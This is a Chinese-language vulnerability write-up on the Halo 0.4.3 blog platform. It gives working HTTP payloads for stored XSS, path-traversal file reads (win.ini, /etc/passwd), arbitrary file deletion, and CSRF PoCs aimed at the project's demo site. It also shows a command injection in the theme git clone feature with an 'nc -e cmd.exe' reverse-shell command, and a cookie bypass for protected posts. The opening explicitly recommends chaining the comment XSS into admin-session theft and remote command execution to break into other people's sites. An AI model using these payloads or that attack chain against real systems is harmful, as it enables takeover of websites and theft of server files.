Author : Ali0th
Date : 2019-4-30
看到 Halo 0.4.3 Issue 上還挺多漏洞的,而且作者打算寫新的版本,目前的版本大部分都還沒修。這個漏洞還是有點多的,不過大部分都是後臺漏洞。
這個是一個 Java SpringBoot 寫的 Web 部落格應用,相關部署和原始碼分析可以見我的其它文章。
如果要滲透別人的網站,可以先使用評論處儲存型XSS,獲取到管理員 session 後,再使用命令執行 後臺遠端命令執行 即可。
@[TOC]
後臺記錄IP儲存型XSS
These is A stored xss vulnerability #126
是一個後臺的儲存型XSS,因為記錄後臺登入IP和X-Forwarded-For
,然後展示導致的。
payload:
POST /admin/getLogin HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8090/admin/login
Content-Length: 35
Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-For: 127.<img src=1 onerror=alert(123)>0.0.2
loginName=admin&loginPwd=adminadmin
複製程式碼
密碼錯誤提示XSS(已修復)
密碼錯誤時,返回了密碼內容無過濾,這個是POST型XSS。
try {
User aUser = userService.findUser();
...
} catch (Exception e) {
Integer errorCount = userService.updateUserLoginError();
if (errorCount >= 5) {
userService.updateUserLoginEnable("false");
}
userService.updateUserLoginLast(new Date());
logsService.saveByLogs(new Logs(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + loginName + "," + loginPwd + "]", HaloUtil.getIpAddr(request), new Date()));
log.error("登入失敗!:{0}", e.getMessage());
}
複製程式碼
payload:
POST /admin/getLogin HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8090/admin/login
Content-Length: 77
Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
loginName=admin&loginPwd=adminadmin<a href="javascript:alert(/xss/);">xss</a>
複製程式碼
修復後:
//更新失敗次數
final Integer errorCount = userService.updateUserLoginError();
//超過五次禁用賬戶
if (errorCount >= CommonParamsEnum.FIVE.getValue()) {
userService.updateUserLoginEnable(TrueFalseEnum.FALSE.getDesc());
}
logsService.save(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + HtmlUtil.escape(loginName) + "," + HtmlUtil.escape(loginPwd) + "]", request);
final Object[] args = {(5 - errorCount)};
return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.login.failed", args));
複製程式碼
加入了HtmlUtil.escape()
方法過濾。
評論處儲存型XSS
評論處儲存型XSS,可以提交到後臺,讓後臺管理者受到XSS攻擊。
檔案位置:cc.ryanc.halo.web.controller.front.FrontCommentController
comment.setCommentAuthorEmail(HtmlUtil.escape(comment.getCommentAuthorEmail()).toLowerCase());
// code ...
comment.setCommentAuthor(HtmlUtil.escape(comment.getCommentAuthor()));
// code ...
//將評論內容的字元專為安全字元
comment.setCommentContent(OwoUtil.markToImg(HtmlUtil.escape(comment.getCommentContent()).replace("<br/>", "<br/>")));
}
if (StrUtil.isNotEmpty(comment.getCommentAuthorUrl())) {
comment.setCommentAuthorUrl(URLUtil.normalize(comment.getCommentAuthorUrl()));
}
複製程式碼
可以看到,提交評論處對大部分引數值有使用HtmlUtil.escap
進行過濾,但是對getCommentAuthorUrl
沒有過濾。
payload:
POST /newComment HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8090/archives/hello-halo
Content-Length: 241
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
postId=3&commentContent=ali0th+say+hi&commentAuthor=ali0th&commentAuthorEmail=ali0th%40test.com&commentAuthorUrl=www.ali0th.com"><img src=1 onerror=alert(123)>&commentAgent=Mozilla%2F5.0+(Windows+NT+6.3%3B+WOW64%3B+rv%3A27.0)+Gecko%2F20100101+Firefox%2F27.0&commentParent=0
複製程式碼
後臺任意檔案下載
將備份傳送到郵箱
處,使用拼接的方式載入檔案,然後發到郵件,導致任意檔案下載。
檔案位置:cc.ryanc.halo.web.controller.admin.BackupController
System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
// code...
new EmailToAdmin(srcPath, user).start();
複製程式碼
payload:
因為我在 win 環境,所以這裡包含c:/windows/win.ini
GET /admin/backup/sendToEmail?type=../../../../../../&fileName=c:/windows/win.ini HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8090/admin/backup?type=resources
Cookie: JSESSIONID=OtSpPq_v8fXROoZ5mFT3DbjeIs07ud8kk6VyMh5U
Connection: keep-alive
複製程式碼
後臺遠端命令執行
線上拉取主題功能,使用 git clone 接取主題。
檔案位置:cc.ryanc.halo.web.controller.admin.ThemeController
final String cmdResult = RuntimeUtil.execForStr("git clone " + remoteAddr + " " + themePath.getAbsolutePath() + "/" + themeName);
複製程式碼
使用拼接的形式構造命令,並使用RuntimeUtil.execForStr
執行。
我這是win下,所以使用下面命令
# 監聽
nc -l -p 12345 -v
# 反彈命令
nc.exe -e cmd.exe 127.0.0.1 12345
複製程式碼
後臺任意檔案刪除
在刪除備份檔案處,使用拼接方式組裝路徑。
檔案位置:cc.ryanc.halo.web.controller.admin.BackupController
final String srcPath = System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
// code ...
FileUtil.del(srcPath);
複製程式碼
後臺新增標籤處XSS與CSRF
新增標籤處基本沒有過濾。
檔案位置:cc.ryanc.halo.web.controller.admin.TagController
final Tag tempTag = tagService.findByTagUrl(tag.getTagUrl());
// code ...
tag = tagService.create(tag);
複製程式碼
沒有太多的處理,對 tagName 則完全沒有處理。
CSRF payload:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.halo.run/admin/tag/save" method="POST">
<input type="hidden" name="tagName" value="<script>alert(1)</script>" />
<input type="hidden" name="tagUrl" value="123" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
複製程式碼
XSS payload:
POST /admin/tag/save HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/tag
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
Pragma: no-cache
Cache-Control: no-cache
tagName=%3Cscript%3Ealert(1)%3C%2Fscript%3E&tagUrl=123
複製程式碼
後臺文章發表處CSRF
大部分位置均有 CSRF。這裡就不分析了。
payload:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.halo.run/admin/posts/save" method="POST">
<input type="hidden" name="postStatus" value="0" />
<input type="hidden" name="postTitle" value="test" />
<input type="hidden" name="postUrl" value="1554359315872" />
<input type="hidden" name="postContentMd" value="test123" />
<input type="hidden" name="postThumbnail" value="/static/halo-frontend/images/thumbnail/thumbnail.png" />
<input type="hidden" name="cateList" value="" />
<input type="hidden" name="tagList" value="" />
<input type="hidden" name="allowComment" value="1" />
<input type="hidden" name="postPassword" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
複製程式碼
後臺主題編輯處存在任意檔案讀取
使用 append 方法拼接路徑,沒有對輸入的引數值過濾,導致任意檔案讀取。
檔案位置:cc.ryanc.halo.web.controller.admin.ThemeController
//獲取專案根路徑
final File basePath = new File(ResourceUtils.getURL("classpath:").getPath());
//獲取主題路徑
final StrBuilder themePath = new StrBuilder("templates/themes/");
themePath.append(BaseController.THEME);
themePath.append("/");
themePath.append(tplName);
final File themesPath = new File(basePath.getAbsolutePath(), themePath.toString());
final FileReader fileReader = new FileReader(themesPath);
tplContent = fileReader.readString();
複製程式碼
payload:
GET /admin/themes/getTpl?tplName=../../../../../../../../etc/passwd HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/themes/editor
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
複製程式碼
前臺突破加密文章許可權
只判斷了是否有傳入 cookie ,沒有判斷是密碼是否正確。只要攔截包,然後修改 cookie 即可。
(這一個漏洞我沒有復現成功,很奇怪,先擱置)
檔案位置:cc.ryanc.halo.web.controller.front.FrontArchiveController
//判斷文章是否有加密
if (StrUtil.isNotEmpty(post.getPostPassword())) {
Cookie cookie = ServletUtil.getCookie(request, "halo-post-password-" + post.getPostId());
if (null == cookie) {
post.setPostSummary("該文章為加密文章");
post.setPostContent("<form id=\"postPasswordForm\" method=\"post\" action=\"/archives/verifyPostPassword\"><p>該文章為加密文章,輸入正確的密碼即可訪問。</p><input type=\"hidden\" id=\"postId\" name=\"postId\" value=\"" + post.getPostId() + "\"> <input type=\"password\" id=\"postPassword\" name=\"postPassword\"> <input type=\"submit\" id=\"passwordSubmit\" value=\"提交\"></form>");
}
}
// code ...
// 驗證密碼成功新增cookie
if (SecureUtil.md5(postPassword).equals(post.getPostPassword())) {
ServletUtil.addCookie(response, "halo-post-password-" + post.getPostId(), SecureUtil.md5(postPassword));
}
複製程式碼
payload:
HTTP/1.1 302 Found
Server: nginx/1.15.8
Date: Thu, 04 Apr 2019 15:02:04 GMT
Content-Length: 0
Connection: keep-alive
Location: 127.0.0.1:8090/archives/hello-halo
Content-Language: zh-CN
Set-Cookie: halo-post-password-3=fae0b27c451c728867a567e8c1bb4e746
Strict-Transport-Security: max-age=31536000
複製程式碼